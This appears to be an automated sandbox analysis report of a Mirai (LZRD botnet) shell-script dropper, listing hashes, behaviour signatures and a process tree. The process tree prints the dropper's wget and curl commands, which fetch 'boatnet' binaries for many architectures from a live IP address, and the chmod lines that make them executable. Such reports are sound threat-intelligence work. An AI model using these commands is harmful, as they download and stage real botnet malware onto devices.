Analysis

  • max time kernel
    135s
  • max time network
    147s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26-01-2025 03:58

General

  • Target

    c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh

  • Size

    2KB

  • MD5

    17dd5d8084206f6fc1220c00f306c8a7

  • SHA1

    f5a1e23a8ec3c955a188c5f0e8487323046589bb

  • SHA256

    c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee

  • SHA512

    39bc89258fa7fd88b67e530d7f2b0a65aacfaf4c93c102bddc9e4bfafbe5b9f5047a3ab54ca05feade7398a2a52be1c59ce29241ab1093f2f0de331c0106600a

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh
    /tmp/c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh
    1⤵
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Writes file to system bin folder
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1499
    • /usr/bin/wget
      wget http://154.62.226.5/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1500
    • /usr/bin/curl
      curl -O http://154.62.226.5/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1501
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1505
      • /bin/chmod
        chmod +x boatnet.x86 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-bolt.service-4oDCuu systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1506
      • /usr/bin/wget
        wget http://154.62.226.5/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1511
      • /usr/bin/curl
        curl -O http://154.62.226.5/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1512
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-bolt.service-4oDCuu systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1514
      • /usr/bin/wget
        wget http://154.62.226.5/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1519
      • /usr/bin/curl
        curl -O http://154.62.226.5/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1520
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-bolt.service-4oDCuu systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1522
      • /usr/bin/wget
        wget http://154.62.226.5/hiddenbin/boatnet.i468
        2⤵
          PID:1527
        • /usr/bin/curl
          curl -O http://154.62.226.5/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1528
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-bolt.service-4oDCuu systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1530
        • /usr/bin/wget
          wget http://154.62.226.5/hiddenbin/boatnet.i686
          2⤵
            PID:1535
          • /usr/bin/curl
            curl -O http://154.62.226.5/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1536
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-bolt.service-4oDCuu systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1538
          • /usr/bin/wget
            wget http://154.62.226.5/hiddenbin/boatnet.x86_64
            2⤵
              PID:1543
            • /usr/bin/curl
              curl -O http://154.62.226.5/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1544
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-bolt.service-4oDCuu systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1546
            • /usr/bin/wget
              wget http://154.62.226.5/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1551
            • /usr/bin/curl
              curl -O http://154.62.226.5/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1552
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-bolt.service-4oDCuu systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1554
            • /usr/bin/wget
              wget http://154.62.226.5/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1559
            • /usr/bin/curl
              curl -O http://154.62.226.5/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1560
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-bolt.service-4oDCuu systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1562
            • /usr/bin/wget
              wget http://154.62.226.5/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1567
            • /usr/bin/curl
              curl -O http://154.62.226.5/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1568
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-bolt.service-4oDCuu systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1570
            • /usr/bin/wget
              wget http://154.62.226.5/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1575
            • /usr/bin/curl
              curl -O http://154.62.226.5/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1576
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-bolt.service-4oDCuu systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1578
            • /usr/bin/wget
              wget http://154.62.226.5/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1583
            • /usr/bin/curl
              curl -O http://154.62.226.5/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1584
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-bolt.service-4oDCuu systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1586
            • /usr/bin/wget
              wget http://154.62.226.5/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1591
            • /usr/bin/curl
              curl -O http://154.62.226.5/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1592
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-bolt.service-4oDCuu systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1594
            • /usr/bin/wget
              wget http://154.62.226.5/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1599
            • /usr/bin/curl
              curl -O http://154.62.226.5/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1602
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1610
            • /usr/bin/wget
              wget http://154.62.226.5/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1615
            • /usr/bin/curl
              curl -O http://154.62.226.5/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1616
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-bolt.service-l4zhzD systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1622
            • /usr/bin/wget
              wget http://154.62.226.5/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1627
            • /usr/bin/curl
              curl -O http://154.62.226.5/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1634
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh config-err-4Wxxtz netplan_9nr5x9m8 snap-private-tmp ssh-H6Rv75Lvs454 systemd-private-a9d2513fba0d4603b2ec873486986d62-colord.service-8CAVMA systemd-private-a9d2513fba0d4603b2ec873486986d62-ModemManager.service-aIuSNU systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-resolved.service-ALiFi9 systemd-private-a9d2513fba0d4603b2ec873486986d62-systemd-timedated.service-j0YIc4 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1638

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            20KB

            MD5

            fe554c823518892cc1b87337370a3211

            SHA1

            b605736332547cf5a8e4a62c768e2f6ea2eaa765

            SHA256

            d8f3b3cd5de4a9bfd20c3de51b11620399077c6b368e99229638f8c9f80bcf49

            SHA512

            98882754405039d2d997bb82d733398cb85c38866eac26fe830a02d50e9f1319489e2940eed73f6c240430c8fdad98dc5a2f9be831a84a8813600785db327fc8